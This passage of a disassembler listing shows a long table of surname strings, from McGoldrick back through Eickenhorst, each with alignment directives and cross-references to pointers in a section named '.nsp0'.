aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .nsp0:00434D30o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .nsp0:00434D2Co
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .nsp0:00434D28o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: .nsp0:00434D24o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .nsp0:00434D20o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .nsp0:00434D1Co
align 10h
aMccall db 'Mccall',0 ; DATA XREF: .nsp0:00434D18o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .nsp0:00434D14o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .nsp0:00434D10o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .nsp0:00434D0Co
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: .nsp0:00434D08o
aMay db 'May',0 ; DATA XREF: .nsp0:00434D04o
aMauzy db 'Mauzy',0 ; DATA XREF: .nsp0:00434D00o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .nsp0:00434CFCo
aMatsukata db 'Matsukata',0 ; DATA XREF: .nsp0:00434CF8o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .nsp0:00434CF4o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .nsp0:00434CF0o
aMass db 'Mass',0 ; DATA XREF: .nsp0:00434CECo
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .nsp0:00434CE8o
align 4
aMarton db 'Marton',0 ; DATA XREF: .nsp0:00434CE4o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: .nsp0:00434CE0o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .nsp0:00434CDCo
align 4
aMarques db 'Marques',0 ; DATA XREF: .nsp0:00434CD8o
aMargetts db 'Margetts',0 ; DATA XREF: .nsp0:00434CD4o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .nsp0:00434CD0o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .nsp0:00434CCCo
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .nsp0:00434CC8o
align 4
aMarch db 'March',0 ; DATA XREF: .nsp0:00434CC4o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .nsp0:00434CC0o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: .nsp0:00434CBCo
aMandel db 'Mandel',0 ; DATA XREF: .nsp0:00434CB8o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .nsp0:00434CB4o
aMalova db 'Malova',0 ; DATA XREF: .nsp0:00434CB0o
align 4
aMaller db 'Maller',0 ; DATA XREF: .nsp0:00434CACo
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .nsp0:00434CA8o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .nsp0:00434CA4o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .nsp0:00434CA0o
align 10h
aMaier db 'Maier',0 ; DATA XREF: .nsp0:00434C9Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: .nsp0:00434C98o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: .nsp0:00434C94o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .nsp0:00434C90o
aMacy db 'Macy',0 ; DATA XREF: .nsp0:00434C8Co
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .nsp0:00434C88o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .nsp0:00434C84o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: .nsp0:00434C80o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .nsp0:00434C7Co
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .nsp0:00434C78o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .nsp0:00434C74o
align 10h
aMa db 'Ma',0 ; DATA XREF: .nsp0:00434C70o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .nsp0:00434C6Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: .nsp0:00434C68o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .nsp0:00434C64o
aLuoma db 'Luoma',0 ; DATA XREF: .nsp0:00434C60o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .nsp0:00434C5Co
aLuecke db 'Luecke',0 ; DATA XREF: .nsp0:00434C58o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .nsp0:00434C54o
aLuciano db 'Luciano',0 ; DATA XREF: .nsp0:00434C50o
aLucas db 'Lucas',0 ; DATA XREF: .nsp0:00434C4Co
align 10h
aLubin db 'Lubin',0 ; DATA XREF: .nsp0:00434C48o
align 4
aLoza db 'Loza',0 ; DATA XREF: .nsp0:00434C44o
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: .nsp0:00434C40o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .nsp0:00434C3Co
aLoss db 'Loss',0 ; DATA XREF: .nsp0:00434C38o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .nsp0:00434C34o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .nsp0:00434C30o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .nsp0:00434C2Co
aLivolsi db 'Livolsi',0 ; DATA XREF: .nsp0:00434C28o
aLivi db 'Livi',0 ; DATA XREF: .nsp0:00434C24o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .nsp0:00434C20o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .nsp0:00434C1Co
align 10h
aLittle db 'Little',0 ; DATA XREF: .nsp0:00434C18o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .nsp0:00434C14o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .nsp0:00434C10o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: .nsp0:00434C0Co
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .nsp0:00434C08o
aLine db 'Line',0 ; DATA XREF: .nsp0:00434C04o
align 4
aLinder db 'Linder',0 ; DATA XREF: .nsp0:00434C00o
align 10h
aLinda_0 db 'Linda',0 ; DATA XREF: .nsp0:00434BFCo
align 4
aLinares db 'Linares',0 ; DATA XREF: .nsp0:00434BF8o
aLim db 'Lim',0 ; DATA XREF: .nsp0:00434BF4o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .nsp0:00434BF0o
align 10h
aLight_0 db 'Light',0 ; DATA XREF: .nsp0:00434BECo
align 4
aLiem db 'Liem',0 ; DATA XREF: .nsp0:00434BE8o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: .nsp0:00434BE4o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .nsp0:00434BE0o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: .nsp0:00434BDCo
align 4
aLesser db 'Lesser',0 ; DATA XREF: .nsp0:00434BD8o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .nsp0:00434BD4o
align 4
aLenard db 'Lenard',0 ; DATA XREF: .nsp0:00434BD0o
align 4
aLeite db 'Leite',0 ; DATA XREF: .nsp0:00434BCCo
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .nsp0:00434BC8o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .nsp0:00434BC4o
align 10h
aLecar db 'Lecar',0 ; DATA XREF: .nsp0:00434BC0o
align 4
aLawless db 'Lawless',0 ; DATA XREF: .nsp0:00434BBCo
aLashley db 'Lashley',0 ; DATA XREF: .nsp0:00434BB8o
aLaserna db 'Laserna',0 ; DATA XREF: .nsp0:00434BB4o
aLanzit db 'Lanzit',0 ; DATA XREF: .nsp0:00434BB0o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .nsp0:00434BACo
align 4
aLankes db 'Lankes',0 ; DATA XREF: .nsp0:00434BA8o
align 4
aLandes db 'Landes',0 ; DATA XREF: .nsp0:00434BA4o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .nsp0:00434BA0o
align 10h
aLaing db 'Laing',0 ; DATA XREF: .nsp0:00434B9Co
align 4
aLafler db 'Lafler',0 ; DATA XREF: .nsp0:00434B98o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: .nsp0:00434B94o
aLa db 'La',0 ; DATA XREF: .nsp0:00434B90o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .nsp0:00434B8Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: .nsp0:00434B88o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: .nsp0:00434B84o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .nsp0:00434B80o
aKrysiak db 'Krysiak',0 ; DATA XREF: .nsp0:00434B7Co
aKroemer db 'Kroemer',0 ; DATA XREF: .nsp0:00434B78o
aKraus db 'Kraus',0 ; DATA XREF: .nsp0:00434B74o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .nsp0:00434B70o
aKrailo db 'Krailo',0 ; DATA XREF: .nsp0:00434B6Co
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .nsp0:00434B68o
aKovaks db 'Kovaks',0 ; DATA XREF: .nsp0:00434B64o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .nsp0:00434B60o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: .nsp0:00434B5Co
align 4
aKool db 'Kool',0 ; DATA XREF: .nsp0:00434B58o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .nsp0:00434B54o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .nsp0:00434B50o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .nsp0:00434B4Co
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .nsp0:00434B48o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .nsp0:00434B44o
align 4
aKoch db 'Koch',0 ; DATA XREF: .nsp0:00434B40o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .nsp0:00434B3Co
aKnuff db 'Knuff',0 ; DATA XREF: .nsp0:00434B38o
align 4
aKlint db 'Klint',0 ; DATA XREF: .nsp0:00434B34o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .nsp0:00434B30o
aKling db 'Kling',0 ; DATA XREF: .nsp0:00434B2Co
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .nsp0:00434B28o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .nsp0:00434B24o
aKleiman db 'Kleiman',0 ; DATA XREF: .nsp0:00434B20o
aKleckner db 'Kleckner',0 ; DATA XREF: .nsp0:00434B1Co
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .nsp0:00434B18o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: .nsp0:00434B14o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .nsp0:00434B10o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .nsp0:00434B0Co
aKindall db 'Kindall',0 ; DATA XREF: .nsp0:00434B08o
aKimura db 'Kimura',0 ; DATA XREF: .nsp0:00434B04o
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: .nsp0:00434B00o
aKimmel db 'Kimmel',0 ; DATA XREF: .nsp0:00434AFCo
align 10h
aKhong db 'Khong',0 ; DATA XREF: .nsp0:00434AF8o
align 4
aKeul db 'Keul',0 ; DATA XREF: .nsp0:00434AF4o
align 10h
aKerry_0 db 'Kerry',0 ; DATA XREF: .nsp0:00434AF0o
align 4
aKendall db 'Kendall',0 ; DATA XREF: .nsp0:00434AECo
aKemsley db 'Kemsley',0 ; DATA XREF: .nsp0:00434AE8o
aKempton db 'Kempton',0 ; DATA XREF: .nsp0:00434AE4o
aKelsey db 'Kelsey',0 ; DATA XREF: .nsp0:00434AE0o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .nsp0:00434ADCo
align 10h
aKeith db 'Keith',0 ; DATA XREF: .nsp0:00434AD8o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .nsp0:00434AD4o
aKeenan db 'Keenan',0 ; DATA XREF: .nsp0:00434AD0o
align 4
aKee db 'Kee',0 ; DATA XREF: .nsp0:00434ACCo
aKawachi db 'Kawachi',0 ; DATA XREF: .nsp0:00434AC8o
aKasten db 'Kasten',0 ; DATA XREF: .nsp0:00434AC4o
align 4
aKassower db 'Kassower',0 ; DATA XREF: .nsp0:00434AC0o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .nsp0:00434ABCo
align 4
aKangis db 'Kangis',0 ; DATA XREF: .nsp0:00434AB8o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .nsp0:00434AB4o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .nsp0:00434AB0o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .nsp0:00434AACo
align 4
aKalil db 'Kalil',0 ; DATA XREF: .nsp0:00434AA8o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: .nsp0:00434AA4o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .nsp0:00434AA0o
aKafadar db 'Kafadar',0 ; DATA XREF: .nsp0:00434A9Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: .nsp0:00434A98o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .nsp0:00434A94o
aJulious db 'Julious',0 ; DATA XREF: .nsp0:00434A90o
aJuliano db 'Juliano',0 ; DATA XREF: .nsp0:00434A8Co
aJucks db 'Jucks',0 ; DATA XREF: .nsp0:00434A88o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .nsp0:00434A84o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .nsp0:00434A80o
align 10h
aJohns db 'Johns',0 ; DATA XREF: .nsp0:00434A7Co
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .nsp0:00434A78o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .nsp0:00434A74o
aJewett db 'Jewett',0 ; DATA XREF: .nsp0:00434A70o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .nsp0:00434A6Co
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .nsp0:00434A68o
aJellis db 'Jellis',0 ; DATA XREF: .nsp0:00434A64o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .nsp0:00434A60o
aJay db 'Jay',0 ; DATA XREF: .nsp0:00434A5Co
aJarrell db 'Jarrell',0 ; DATA XREF: .nsp0:00434A58o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .nsp0:00434A54o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .nsp0:00434A50o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: .nsp0:00434A4Co
align 4
aJain db 'Jain',0 ; DATA XREF: .nsp0:00434A48o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: .nsp0:00434A44o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .nsp0:00434A40o
align 10h
aJagers db 'Jagers',0 ; DATA XREF: .nsp0:00434A3Co
align 4
aJackson db 'Jackson',0 ; DATA XREF: .nsp0:00434A38o
aJacenko db 'Jacenko',0 ; DATA XREF: .nsp0:00434A34o
aIyer db 'Iyer',0 ; DATA XREF: .nsp0:00434A30o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: .nsp0:00434A2Co
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .nsp0:00434A28o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .nsp0:00434A24o
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: .nsp0:00434A20o
align 4
aInniss db 'Inniss',0 ; DATA XREF: .nsp0:00434A1Co
align 10h
aInamura db 'Inamura',0 ; DATA XREF: .nsp0:00434A18o
aIgarashi db 'Igarashi',0 ; DATA XREF: .nsp0:00434A14o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .nsp0:00434A10o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: .nsp0:00434A0Co
align 4
aHyde db 'Hyde',0 ; DATA XREF: .nsp0:00434A08o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .nsp0:00434A04o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: .nsp0:00434A00o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .nsp0:004349FCo
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .nsp0:004349F8o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: .nsp0:004349F4o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .nsp0:004349F0o
align 4
aHuey db 'Huey',0 ; DATA XREF: .nsp0:004349ECo
align 10h
aHoy db 'Hoy',0 ; DATA XREF: .nsp0:004349E8o
aHoward db 'Howard',0 ; DATA XREF: .nsp0:004349E4o
align 4
aHottle db 'Hottle',0 ; DATA XREF: .nsp0:004349E0o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .nsp0:004349DCo
aHoshida db 'Hoshida',0 ; DATA XREF: .nsp0:004349D8o
aHorsley db 'Horsley',0 ; DATA XREF: .nsp0:004349D4o
aHopkins db 'Hopkins',0 ; DATA XREF: .nsp0:004349D0o
aHooker_0 db 'Hooker',0 ; DATA XREF: .nsp0:004349CCo
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .nsp0:004349C8o
aHolway db 'Holway',0 ; DATA XREF: .nsp0:004349C4o
align 4
aHolter db 'Holter',0 ; DATA XREF: .nsp0:004349C0o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .nsp0:004349BCo
aHolmes db 'Holmes',0 ; DATA XREF: .nsp0:004349B8o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .nsp0:004349B4o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .nsp0:004349B0o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .nsp0:004349ACo
aHoffer db 'Hoffer',0 ; DATA XREF: .nsp0:004349A8o
align 4
aHock db 'Hock',0 ; DATA XREF: .nsp0:004349A4o
align 10h
aHoang db 'Hoang',0 ; DATA XREF: .nsp0:004349A0o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .nsp0:0043499Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: .nsp0:00434998o
align 4
aHind db 'Hind',0 ; DATA XREF: .nsp0:00434994o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .nsp0:00434990o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: .nsp0:0043498Co
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .nsp0:00434988o
aHester db 'Hester',0 ; DATA XREF: .nsp0:00434984o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .nsp0:00434980o
aHernandez db 'Hernandez',0 ; DATA XREF: .nsp0:0043497Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .nsp0:00434978o
align 4
aHenery db 'Henery',0 ; DATA XREF: .nsp0:00434974o
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: .nsp0:00434970o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .nsp0:0043496Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: .nsp0:00434968o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: .nsp0:00434964o
aHeiland db 'Heiland',0 ; DATA XREF: .nsp0:00434960o
aHeft db 'Heft',0 ; DATA XREF: .nsp0:0043495Co
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .nsp0:00434958o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .nsp0:00434954o
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: .nsp0:00434950o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .nsp0:0043494Co
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: .nsp0:00434948o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .nsp0:00434944o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .nsp0:00434940o
aHartnett db 'Hartnett',0 ; DATA XREF: .nsp0:0043493Co
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .nsp0:00434938o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .nsp0:00434934o
aHarrigan db 'Harrigan',0 ; DATA XREF: .nsp0:00434930o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .nsp0:0043492Co
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: .nsp0:00434928o
align 4
aHarding db 'Harding',0 ; DATA XREF: .nsp0:00434924o
aHanssen db 'Hanssen',0 ; DATA XREF: .nsp0:00434920o
aHand db 'Hand',0 ; DATA XREF: .nsp0:0043491Co
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .nsp0:00434918o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: .nsp0:00434914o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .nsp0:00434910o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .nsp0:0043490Co
aHallowell db 'Hallowell',0 ; DATA XREF: .nsp0:00434908o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .nsp0:00434904o
aHaley db 'Haley',0 ; DATA XREF: .nsp0:00434900o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .nsp0:004348FCo
align 4
aHackman db 'Hackman',0 ; DATA XREF: .nsp0:004348F8o
aHaar db 'Haar',0 ; DATA XREF: .nsp0:004348F4o
align 4
aHa db 'Ha',0 ; DATA XREF: .nsp0:004348F0o
align 4
aGuo db 'Guo',0 ; DATA XREF: .nsp0:004348ECo
aGunn db 'Gunn',0 ; DATA XREF: .nsp0:004348E8o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .nsp0:004348E4o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .nsp0:004348E0o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .nsp0:004348DCo
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .nsp0:004348D8o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .nsp0:004348D4o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .nsp0:004348D0o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .nsp0:004348CCo
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .nsp0:004348C8o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: .nsp0:004348C4o
aGozzi db 'Gozzi',0 ; DATA XREF: .nsp0:004348C0o
align 10h
aGoody db 'Goody',0 ; DATA XREF: .nsp0:004348BCo
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .nsp0:004348B8o
align 4
aGood_0 db 'Good',0 ; DATA XREF: .nsp0:004348B4o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .nsp0:004348B0o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .nsp0:004348ACo
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .nsp0:004348A8o
aGlegg db 'Glegg',0 ; DATA XREF: .nsp0:004348A4o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .nsp0:004348A0o
aGist db 'Gist',0 ; DATA XREF: .nsp0:0043489Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .nsp0:00434898o
align 10h
aGill db 'Gill',0 ; DATA XREF: .nsp0:00434894o
align 4
aGili db 'Gili',0 ; DATA XREF: .nsp0:00434890o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: .nsp0:0043488Co
aGibson_0 db 'Gibson',0 ; DATA XREF: .nsp0:00434888o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: .nsp0:00434884o
aGhorai db 'Ghorai',0 ; DATA XREF: .nsp0:00434880o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: .nsp0:0043487Co
aGeorgi db 'Georgi',0 ; DATA XREF: .nsp0:00434878o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: .nsp0:00434874o
align 4
aGeller db 'Geller',0 ; DATA XREF: .nsp0:00434870o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .nsp0:0043486Co
aGarman db 'Garman',0 ; DATA XREF: .nsp0:00434868o
align 4
aGarfield_0 db 'Garfield',0 ; DATA XREF: .nsp0:00434864o
align 10h
aGambini db 'Gambini',0 ; DATA XREF: .nsp0:00434860o
aGalwey db 'Galwey',0 ; DATA XREF: .nsp0:0043485Co
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: .nsp0:00434858o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .nsp0:00434854o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .nsp0:00434850o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .nsp0:0043484Co
align 4
aFurth db 'Furth',0 ; DATA XREF: .nsp0:00434848o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .nsp0:00434844o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .nsp0:00434840o
align 4
aFrye db 'Frye',0 ; DATA XREF: .nsp0:0043483Co
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: .nsp0:00434838o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .nsp0:00434834o
aFrisken db 'Frisken',0 ; DATA XREF: .nsp0:00434830o
aFriedland db 'Friedland',0 ; DATA XREF: .nsp0:0043482Co
align 4
aFried db 'Fried',0 ; DATA XREF: .nsp0:00434828o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: .nsp0:00434824o
align 4
aFreid db 'Freid',0 ; DATA XREF: .nsp0:00434820o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .nsp0:0043481Co
align 4
aFranz db 'Franz',0 ; DATA XREF: .nsp0:00434818o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .nsp0:00434814o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .nsp0:00434810o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .nsp0:0043480Co
align 10h
aFossey db 'Fossey',0 ; DATA XREF: .nsp0:00434808o
align 4
aFortier db 'Fortier',0 ; DATA XREF: .nsp0:00434804o
aFortes db 'Fortes',0 ; DATA XREF: .nsp0:00434800o
align 4
aForester db 'Forester',0 ; DATA XREF: .nsp0:004347FCo
align 4
aFolks db 'Folks',0 ; DATA XREF: .nsp0:004347F8o
align 4
aFlores db 'Flores',0 ; DATA XREF: .nsp0:004347F4o
align 4
aFlier db 'Flier',0 ; DATA XREF: .nsp0:004347F0o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .nsp0:004347ECo
aFisk db 'Fisk',0 ; DATA XREF: .nsp0:004347E8o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: .nsp0:004347E4o
aFinnegan db 'Finnegan',0 ; DATA XREF: .nsp0:004347E0o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .nsp0:004347DCo
aFink db 'Fink',0 ; DATA XREF: .nsp0:004347D8o
align 4
aField_0 db 'Field',0 ; DATA XREF: .nsp0:004347D4o
align 10h
aFido db 'Fido',0 ; DATA XREF: .nsp0:004347D0o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .nsp0:004347CCo
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: .nsp0:004347C8o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .nsp0:004347C4o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .nsp0:004347C0o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .nsp0:004347BCo
aFeldman db 'Feldman',0 ; DATA XREF: .nsp0:004347B8o
aFejzo db 'Fejzo',0 ; DATA XREF: .nsp0:004347B4o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .nsp0:004347B0o
align 4
aFates db 'Fates',0 ; DATA XREF: .nsp0:004347ACo
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: .nsp0:004347A8o
align 4
aFarren db 'Farren',0 ; DATA XREF: .nsp0:004347A4o
align 10h
aFarone db 'Farone',0 ; DATA XREF: .nsp0:004347A0o
align 4
aFaris db 'Faris',0 ; DATA XREF: .nsp0:0043479Co
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: .nsp0:00434798o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .nsp0:00434794o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .nsp0:00434790o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: .nsp0:0043478Co
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .nsp0:00434788o
aEverett db 'Everett',0 ; DATA XREF: .nsp0:00434784o
aEuripides db 'Euripides',0 ; DATA XREF: .nsp0:00434780o
align 4
aEtter db 'Etter',0 ; DATA XREF: .nsp0:0043477Co
align 4
aEstes db 'Estes',0 ; DATA XREF: .nsp0:00434778o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .nsp0:00434774o
align 10h
aErez db 'Erez',0 ; DATA XREF: .nsp0:00434770o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .nsp0:0043476Co
align 10h
aErdman db 'Erdman',0 ; DATA XREF: .nsp0:00434768o
align 4
aErbach db 'Erbach',0 ; DATA XREF: .nsp0:00434764o
align 10h
aEppling db 'Eppling',0 ; DATA XREF: .nsp0:00434760o
aEnyeart db 'Enyeart',0 ; DATA XREF: .nsp0:0043475Co
aEncinas db 'Encinas',0 ; DATA XREF: .nsp0:00434758o
aElvis db 'Elvis',0 ; DATA XREF: .nsp0:00434754o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: .nsp0:00434750o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .nsp0:0043474Co
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .nsp0:00434748o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .nsp0:00434744o
